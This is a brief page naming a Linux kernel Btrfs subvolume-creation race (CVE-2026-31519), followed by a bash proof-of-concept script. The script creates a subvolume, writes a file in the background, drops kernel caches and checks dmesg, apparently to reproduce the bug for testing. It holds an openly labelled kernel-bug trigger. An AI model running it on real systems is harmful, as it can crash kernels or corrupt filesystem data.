CVE-2026-31519 Linux内核Btrfs子卷创建竞态漏洞

#!/bin/bash # CVE-2026-31519 PoC Concept # This script attempts to trigger the race condition by creating a subvolume, # performing I/O to trigger delayed iputs, and clearing the dentry cache. MOUNT_POINT="/mnt/btrfs_test" SUBVOL_NAME="test_subvol" # Check if mount point exists if [ ! -d "$MOUNT_POINT" ]; then echo "Mount point does not exist." exit 1 fi echo "[1] Creating subvolume..." btrfs subvolume create "$MOUNT_POINT/$SUBVOL_NAME" echo "[2] Creating a file inside to trigger ordered extents..." dd if=/dev/zero of="$MOUNT_POINT/$SUBVOL_NAME/testfile" bs=1M count=10 & DD_PID=$! echo "[3] Syncing and dropping caches to force dentry eviction..." sync echo 3 > /proc/sys/vm/drop_caches # Wait for background write to finish wait $DD_PID echo "[4] Attempting to lookup the subvolume again to trigger orphan cleanup..." ls -l "$MOUNT_POINT/$SUBVOL_NAME" echo "[5] Checking dmesg for orphan cleanup errors..." dmesg | tail -n 20 | grep -i "orphan" echo "Done. Inspect system stability."